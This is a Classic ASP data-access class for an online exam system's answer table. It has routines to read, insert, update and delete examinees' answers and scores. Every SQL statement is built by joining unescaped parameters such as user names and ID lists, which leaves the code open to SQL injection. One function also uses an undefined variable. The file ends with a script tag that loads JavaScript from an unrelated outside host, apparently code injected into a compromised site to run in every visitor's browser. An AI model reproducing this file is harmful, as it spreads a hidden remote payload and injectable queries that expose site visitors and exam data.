edata.asp

通过在线考试系统使得老师及管理者快速高效地完成考试及教学任务

<%
  '本类用于保存对表EData的数据库访问操作
  '表的每个字段对应类的一个成员变量
  Class EData
    Public DId    '数据编号
    Public UserName     '用户名
	public PId    '试卷编号
	public QId    '试题编号
	public UAnswer  '用户答案
	public DValue   '得分
    Public rs       '结果集
    Private strSql  'SQL语句
    '读取单个考试数据信息
    public sub GetDataInfo(DId)
      '创建Recordset对象，处理查询结果集
      Set rs=Server.CreateObject("ADODB.Recordset")
      '设置rs的ActiveConnection属性，绑定到连接
      Set rs.ActiveConnection = Conn
      '设置游标类型
      rs.CursorType = 3
      '设置查询的SELECT语句
      sql = "SELECT * FROM EData WHERE DId=" & DId
      '打开记录集
      rs.Open sql
    end sub
	
	'获取所有考试数据信息
    public sub GetDatalist()
	  '创建Recordset对象，处理查询结果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '设置rs的ActiveConnection属性，绑定到连接
	  Set rs.ActiveConnection = Conn
	  '设置游标类型
	  rs.CursorType = 3
	  '设置查询的SELECT语句
 	  sql = "SELECT * FROM EData Order By DId"
	  '打开记录集
	  rs.Open sql
    End Sub
	'获取试卷的考试数据信息
    public sub GetDataByPId(pid)
	  '创建Recordset对象，处理查询结果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '设置rs的ActiveConnection属性，绑定到连接
	  Set rs.ActiveConnection = Conn
	  '设置游标类型
	  rs.CursorType = 3
	  '设置查询的SELECT语句
	  If pid=0 Then
 	    sql = "SELECT PId,UserName,SUM(DValue) As dv FROM EData Group By PId,UserName"
	  Else
 	    sql = "SELECT PId,UserName,SUM(DValue) As dv FROM EData Where PId="&pid&" Group By PId,UserName"
	  End If
	  '打开记录集
	  rs.Open sql
    End Sub
	'获取指定考生试卷的考试数据信息
    public sub GetUserData(uname)
	  '创建Recordset对象，处理查询结果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '设置rs的ActiveConnection属性，绑定到连接
	  Set rs.ActiveConnection = Conn
	  '设置游标类型
	  rs.CursorType = 3
	  '设置查询的SELECT语句
      sql = "SELECT PId,UserName,SUM(DValue) As dv FROM EData Where UserName='" & uname & "' Group By PId,UserName"
	  '打开记录集
	  rs.Open sql
    End Sub
	'获取试卷的考试数据信息
    public sub GetDataByUser(pid,uname,qid)
	  '创建Recordset对象，处理查询结果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '设置rs的ActiveConnection属性，绑定到连接
	  Set rs.ActiveConnection = Conn
	  '设置游标类型
	  rs.CursorType = 3
	  '设置查询的SELECT语句
      sql = "Select * From EData Where PId=" & pid & _
	    " And UserName='" & uname & "' And QId=" & qid
	  '打开记录集
	  rs.Open sql
    End Sub
	'插入考试数据信息
    Public Sub InsertData()
      strSql = "Insert Into EData Values('" & UserName & "'," & PId & "," & QID &",'" & UAnswer & "'," & DValue & ")"
      conn.Execute(strSql)
    End Sub
	'修改考试分数信息
    Public Sub UpdateData()
      strSql = "Update EData Set DValue=" & DValue & " Where PId=" & PId & _
	    " And QId=" & QId & " And UserName='" & UserName & "'"
      conn.Execute(strSql)
    End Sub
	'删除考试数据信息
    Public Sub DeleteData(DIds)
      strSql = "DELETE FROM EData WHERE DId In(" & DIds & ")"
      conn.Execute(strSql)
    End Sub
	'判断指定的试卷编号是否存在
	Public Function HavePId(pid)
	  strSql = "Select * From EData Where PId=" & pid
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
	  If rs.EOF Then
            exist = False
	  Else
            exist = True
	  End If
          HavePId = exist
	End Function
	'判断指定的试题编号是否存在
	Public Function HaveQId(qid)
	  strSql = "Select * From EData Where QId=" & qid
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
	  If rs.EOF Then
            exist = False
	  Else
            exist = True
	  End If
          HaveQId = exist
	End Function
	'判断用户是否完成了该试卷的考试
	Public Function GetUserPaper()
	  strSql = "Select * From EData Where PId=" & PId & " And UserName='" & UserName & "'"
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
	  If rs.EOF Then
            exist = False
	  Else
            exist = True
	  End If
          GetUserPaper = exist
	End Function	
	'判断用户是否完成了该试卷的考试
	Public Function GetUserName()
	  strSql = "Select * From EData Where UserName='" & uname & "'"
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
	  If rs.EOF Then
            exist = False
	  Else
            exist = True
	  End If
          GetUserName = exist
	End Function	
  End Class
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>